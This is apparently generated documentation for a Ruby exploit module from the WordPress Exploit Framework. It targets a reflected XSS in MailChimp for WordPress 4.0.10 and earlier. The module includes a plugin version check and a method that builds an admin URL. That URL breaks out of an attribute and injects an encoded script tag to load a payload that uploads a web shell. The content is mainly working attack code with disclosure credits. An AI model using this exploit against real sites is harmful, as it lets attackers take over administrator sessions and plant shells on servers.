class Wpxf::Exploit::MailchimpForWpReflectedXssShellUpload
Public Class Methods
new()
click to toggle source
Calls superclass method
Wpxf::WordPress::ReflectedXss::new
# File lib/wpxf/modules/exploit/xss/reflected/mailchimp_for_wp_reflected_xss_shell_upload.rb, line 6 def initialize super update_info( name: 'MailChimp for WordPress <= 4.0.10 Reflected XSS Shell Upload', author: [ 'Tom Adams', # Discovery and disclosure 'rastating' # WPXF module ], references: [ ['WPVDB', '8695'] ], date: 'Dec 09 2016' ) end
Public Instance Methods
check()
click to toggle source
# File lib/wpxf/modules/exploit/xss/reflected/mailchimp_for_wp_reflected_xss_shell_upload.rb, line 22 def check check_plugin_version_from_readme('mailchimp-for-wp', '4.0.11') end
url_with_xss()
click to toggle source
# File lib/wpxf/modules/exploit/xss/reflected/mailchimp_for_wp_reflected_xss_shell_upload.rb, line 26 def url_with_xss normalize_uri( wordpress_url_admin, 'admin.php?page=mailchimp-for-wp-integrations&integration=">'\ "%3Cscript%3E#{xss_ascii_encoded_include_script}%3C%2Fscript%3E" ) end